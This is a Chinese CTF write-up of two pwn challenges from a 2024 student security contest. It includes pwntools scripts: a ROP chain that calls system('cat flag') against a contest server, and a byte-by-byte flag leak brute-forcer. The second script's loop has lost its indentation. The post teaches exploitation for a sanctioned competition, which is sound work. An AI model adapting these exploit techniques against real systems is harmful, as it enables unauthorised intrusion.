2024年京津冀大学生信息安全网络攻防大赛-初赛Pwn

2024年这场打了,Pwn一共三道题,堆题还是没给libc,最后是0解。

likeputs

vuln函数有栈溢出,而且程序有system,但是没有/bin/sh字符串。我们发现有cat flag字符串,如果system的参数是cat flag即system(‘cat flag’),那么就会将flag打印出来。因此只需要构造一个简单的rop,使得system的参数为cat flag,就能打印flag。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

# p = process('./pwn')
elf = ELF('./pwn')
p = remote('119.23.41.54', 39091)

system_plt = elf.plt['system']
pop_rdi_ret = 0x400753
flag_addr = 0x400797
ret_addr = 0x400506

payload = b'a'*0x28 + p64(pop_rdi_ret) + p64(flag_addr)
payload += p64(ret_addr) + p64(system_plt)
p.sendline(payload)

p.interactive()

leak

我们主要看check_flag函数,首先让我们输入name,大小限制在40个字符,然后是输入flag,大小也是40个字符,再然后就是打开了一个flag文件,for循环用于比对flag文件中的内容。

现在我们的flag内容是flag{test_flag}

然后我们运行一下程序,name我们输入40个a,然后flag输入“flag{” ,我们发现在最后的输出中除了40个a之外还多了一个字符“t”。那么我们对比flag可以发现这个“t”就是“flag{”后的一个字符,因此我们知道在name输入满40个字符,然后在flag输入正确的情况下,最后的输出会泄露出flag的一个字符。

那么我们再分析for循环,他其实是从./flag 文件中读取一个字符到 v6[40] 中,读取成功就将读取到的字符与用户输入flag的对应位置字符进行比较,一旦发现任何一个字符不匹配就立即退出循环。那么当比对错误时,v6[40] 中是正确的 flag 的一个字符,通过之后的 pirntf 打印 v6 的内容,这一个字符也会打印出来,因此可以通过溢出的这一个字符来循环爆破。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

flag = b'flag{'
for i in range(50):
print(flag)
p = process('./pwn')
payload = b'a'*40
p.recvuntil("What's your name?")
p.sendline(payload)
p.recvuntil("Please give me your flag:")
p.sendline(flag)
p.recvuntil(b"Sorry "+payload)
two = p.recv(1)
flag += two
p.close()

p.interactive()

2024年京津冀大学生信息安全网络攻防大赛-初赛Pwn
https://tsuk1ctf.github.io/post/41677.html
作者
Tsuk1
发布于
2024年12月25日
许可协议